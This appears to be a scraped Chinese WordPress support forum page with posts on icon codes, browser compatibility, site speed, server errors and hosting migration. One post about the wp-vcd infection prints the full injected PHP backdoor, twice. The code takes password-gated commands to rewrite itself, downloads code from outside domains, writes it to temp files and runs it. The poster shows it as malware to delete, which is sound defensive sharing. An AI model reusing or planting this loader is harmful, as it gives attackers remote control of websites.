.fa-lightbulb-o \f0eb .fa-slideshare \f1e7
.fa-exchange \f0ec .fa-twitch \f1e8
.fa-cloud-download \f0ed .fa-yelp \f1e9
.fa-cloud-upload \f0ee .fa-newspaper-o \f1ea
.fa-user-md \f0f0 .fa-wifi \f1eb
.fa-stethoscope \f0f1 .fa-calculator \f1ec
.fa-suitcase \f0f2 .fa-paypal \f1ed
.fa-bell-o \f0a2 .fa-google-wallet \f1ee
.fa-coffee \f0f4 .fa-cc-visa \f1f0
.fa-cutlery \f0f5 .fa-cc-mastercard \f1f1
.fa-file-text-o \f0f6 .fa-cc-discover \f1f2
.fa-building-o \f0f7 .fa-cc-amex \f1f3
.fa-hospital-o \f0f8 .fa-cc-paypal \f1f4
.fa-ambulance \f0f9 .fa-cc-stripe \f1f5
.fa-medkit \f0fa .fa-bell-slash \f1f6
.fa-fighter-jet \f0fb .fa-bell-slash-o \f1f7
.fa-beer \f0fc .fa-trash \f1f8
.fa-h-square \f0fd .fa-copyright \f1f9
.fa-plus-square \f0fe .fa-at \f1fa
.fa-angle-double-left \f100 .fa-eyedropper \f1fb
.fa-angle-double-right \f101 .fa-paint-brush \f1fc
.fa-angle-double-up \f102 .fa-birthday-cake \f1fd
.fa-angle-double-down \f103 .fa-area-chart \f1fe
.fa-angle-left \f104 .fa-pie-chart \f200
.fa-angle-right \f105 .fa-line-chart \f201
.fa-angle-up \f106 .fa-lastfm \f202
.fa-angle-down \f107 .fa-lastfm-square \f203
.fa-desktop \f108 .fa-toggle-off \f204
.fa-laptop \f109 .fa-toggle-on \f205
.fa-tablet \f10a .fa-bicycle \f206
.fa-mobile-phone \f10b .fa-bus \f207
.fa-mobile \f10b .fa-ioxhost \f208
.fa-circle-o \f10c .fa-angellist \f209
.fa-quote-left \f10d .fa-cc \f20a
.fa-quote-right \f10e .fa-shekel \f20b
.fa-spinner \f110 .fa-sheqel \f20b
.fa-circle \f111 .fa-ils \f20b
.fa-mail-reply \f112 .fa-meanpath \f20c
.fa-reply \f112
(.fa-mail-reply \f112 .fa-meanpath \f20c 注意这样区分,一行是俩个图标)
360和遨游浏览器底下字体会被截取一半的兼容性问题
WordPress • lena 发表了文章 • 3 个评论 • 452 次浏览 • 2018-02-07 13:46
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="renderer" content="ie-comp">
这两个代码就是让浏览器用兼容模式
不加这个浏览器会优先使用极速模式,所以造成兼容性问题
查看全部
这俩个浏览器都有兼容模式和极速模式
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="renderer" content="ie-comp">
这两个代码就是让浏览器用兼容模式
不加这个浏览器会优先使用极速模式,所以造成兼容性问题
如何解决WordPress媒体库一直处于loading的状态
WordPress • Bob 发表了文章 • 1 个评论 • 645 次浏览 • 2018-02-05 11:34
当出现这种情况的时候,我们应该考虑到应该是WordPress自身配置文件的问题,这个时候我们应该先去看下在主题目录下面的function.php文件是否是处于闭合的状态,如下图所示:
所以我们需要在function文件的结尾加上闭合符号“?>”,如下图所示:
添加好以后,媒体库就可以正常打开了。一般在小型网站里面,如果这里是处于没有闭合的状态是不会出现什么问题的,但是在大型的网站上面,因为功能和结构比较复杂,所以这里建议还是闭合的好,以免到时候出现什么问题,导致网站无法运行。 查看全部
当出现这种情况的时候,我们应该考虑到应该是WordPress自身配置文件的问题,这个时候我们应该先去看下在主题目录下面的function.php文件是否是处于闭合的状态,如下图所示:
所以我们需要在function文件的结尾加上闭合符号“?>”,如下图所示:
添加好以后,媒体库就可以正常打开了。一般在小型网站里面,如果这里是处于没有闭合的状态是不会出现什么问题的,但是在大型的网站上面,因为功能和结构比较复杂,所以这里建议还是闭合的好,以免到时候出现什么问题,导致网站无法运行。
对wordpress插件NextGEN Gallery的一个愚见
WordPress • Leo 发表了文章 • 1 个评论 • 451 次浏览 • 2018-01-30 16:48
WordPress搭建的国外知名网站
WordPress • Eastern_Design_Studio 发表了文章 • 0 个评论 • 491 次浏览 • 2018-01-15 18:30
1. TechCrunch
2. The New Yorker
3. BBC America
4. Bloomberg Professional
5. The Official Star Wars Blog
6. Variety
7. Sony Music
8. MTV News
9. Beyonce
10. PlayStation.Blog
11. Sweden’s Official Website
12. Microsoft News Center
13. Boingo
14. Bata
15. cPanel Blog
16. Quartz
17. Usain Bolt
18. The Walt Disney Company
19. Time Inc.
20. Facebook Newsroom
21. The New York Times Company
22. Marks & Spencer for Business
23. The Official Rackspace Blog
24. ExpressJet Blog
25. Inside BlackBerry
26. Rotary Means Business – Rotary Club
27. The Rolling Stones
28. The Walking Dead – AMC
29. The Mozilla Blog
30. The Wall Street Journal Law Blog
31. Will Wheaton
32. Snoop Dogg
33. SAP News Center
34. Wolverine Worldwide
35. Reuters Blogs
36. Katy Perry
37. Vogue India
38. Mercedes-Benz
39. Staples Canda Blog
40. Harvard Gazette Onine
41. Pulse by Target 查看全部
1. TechCrunch
2. The New Yorker
3. BBC America
4. Bloomberg Professional
5. The Official Star Wars Blog
6. Variety
7. Sony Music
8. MTV News
9. Beyonce
10. PlayStation.Blog
11. Sweden’s Official Website
12. Microsoft News Center
13. Boingo
14. Bata
15. cPanel Blog
16. Quartz
17. Usain Bolt
18. The Walt Disney Company
19. Time Inc.
20. Facebook Newsroom
21. The New York Times Company
22. Marks & Spencer for Business
23. The Official Rackspace Blog
24. ExpressJet Blog
25. Inside BlackBerry
26. Rotary Means Business – Rotary Club
27. The Rolling Stones
28. The Walking Dead – AMC
29. The Mozilla Blog
30. The Wall Street Journal Law Blog
31. Will Wheaton
32. Snoop Dogg
33. SAP News Center
34. Wolverine Worldwide
35. Reuters Blogs
36. Katy Perry
37. Vogue India
38. Mercedes-Benz
39. Staples Canda Blog
40. Harvard Gazette Onine
41. Pulse by Target
关于slide revolution 怎么做到移动端更好的效果
回复WordPress • Eastern_Design_Studio 回复了问题 • 2 人关注 • 2 个回复 • 273 次浏览 • 2018-10-22 16:45
在页面中插入可以同步至MailChimp列表的表单
回复WordPress • Eastern_Design_Studio 回复了问题 • 2 人关注 • 1 个回复 • 274 次浏览 • 2018-10-16 15:04
公司自己部门电脑网站都打的开,其他部门都打不开,缓存也清了,这是什么原因?有什么解决的方法吗?
回复WordPress • Eastern_Design_Studio 回复了问题 • 2 人关注 • 1 个回复 • 552 次浏览 • 2018-05-29 18:05
ssl怎么安装?(从零开始)
回复WordPress • Eastern_Design_Studio 回复了问题 • 2 人关注 • 1 个回复 • 434 次浏览 • 2018-05-28 17:09
使用cookie-free domains的方法优化网站性能
回复WordPress • Leo 发起了问题 • 2 人关注 • 0 个回复 • 679 次浏览 • 2018-03-27 11:56
为什么cloudflare开启后网站有部分内容不显示,但是html里面内容又都有
回复WordPress • lena 回复了问题 • 2 人关注 • 2 个回复 • 660 次浏览 • 2018-01-30 15:24
怎么将域名加载到CLOUDFLARE上面呢?
回复WordPress • Eastern_Design_Studio 回复了问题 • 3 人关注 • 2 个回复 • 429 次浏览 • 2018-01-29 15:32
推荐一款newsletter弹窗插件newsletter popup
WordPress • Leo 发表了文章 • 1 个评论 • 20 次浏览 • 4 天前
有很多现成的框架。
具体效果如下图:
wdcp版本升级后,无法打开,解决办法
Linux运维 • Leo 发表了文章 • 1 个评论 • 42 次浏览 • 2019-01-31 09:24
sh /www/wdlinux/wdcp/shell/cr7.sh && service wdcp restart
对于有些系统,可能安装了其它的加固软件或加固设置,可能会执行不成功,导致如下的错误提示
cp: error writing ‘/etc/rc.d/init.d/wdcp’: Permission denied
cp: failed to extend ‘/etc/rc.d/init.d/wdcp’: Permission denied
意思是这个文件权限拒绝执行,请先检查自己的环境或做过的设置,然后修改下这个文件的权限,然后再执行一次上述脚本即可
不要乱执行777,否则,后果很危险,也可能很严重 查看全部
sh /www/wdlinux/wdcp/shell/cr7.sh && service wdcp restart
对于有些系统,可能安装了其它的加固软件或加固设置,可能会执行不成功,导致如下的错误提示
cp: error writing ‘/etc/rc.d/init.d/wdcp’: Permission denied
cp: failed to extend ‘/etc/rc.d/init.d/wdcp’: Permission denied
意思是这个文件权限拒绝执行,请先检查自己的环境或做过的设置,然后修改下这个文件的权限,然后再执行一次上述脚本即可
不要乱执行777,否则,后果很危险,也可能很严重
项目添加相关产品以及如何查看是否开cloudflare
WordPress • wendy 发表了文章 • 1 个评论 • 77 次浏览 • 2019-01-22 09:21
1.后台设置:
2.代码设置:
上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
3.产品后台设置:
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping
可以查看到为104开头,是为开启cloud flare的IP段
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看
像上述工具还有whois
查看全部
WordPress站点优化突破Google PageSpeed Insights瓶颈喜提满分
Google SEO • Owen 发表了文章 • 1 个评论 • 114 次浏览 • 2019-01-17 08:56
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:
这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。
就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。
然后就是由wordpress后台插件WPBakery建造的静态页面
就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。
这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。
如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。
最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:
查看全部
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:
这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。
就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。
然后就是由wordpress后台插件WPBakery建造的静态页面
就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。
这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。
如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。
最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:
WordPress疑难杂症之后台控制台503、500 error等
WordPress • Leo 发表了文章 • 1 个评论 • 111 次浏览 • 2019-01-15 16:57
#万物皆刻盘#
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭
trust the process
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
Don't worry!我会告诉你怎么解决的。
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
Perfect!!!
By the way,盘它。。。
查看全部
#万物皆刻盘#
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭
trust the process
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
Don't worry!我会告诉你怎么解决的。
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
Perfect!!!
By the way,盘它。。。
针对隽永东方建站客户产品添加,资料整理建议
WordPress • Leo 发表了文章 • 1 个评论 • 124 次浏览 • 2019-01-10 14:30
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”
WordPress • Leo 发表了文章 • 1 个评论 • 93 次浏览 • 2019-01-07 11:37
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)
注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)
注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。
针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击
WordPress • Leo 发表了文章 • 1 个评论 • 166 次浏览 • 2018-12-20 16:15
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。
关于WP Engine空间
WordPress • Leo 发表了文章 • 1 个评论 • 148 次浏览 • 2018-12-10 10:56
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)
2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
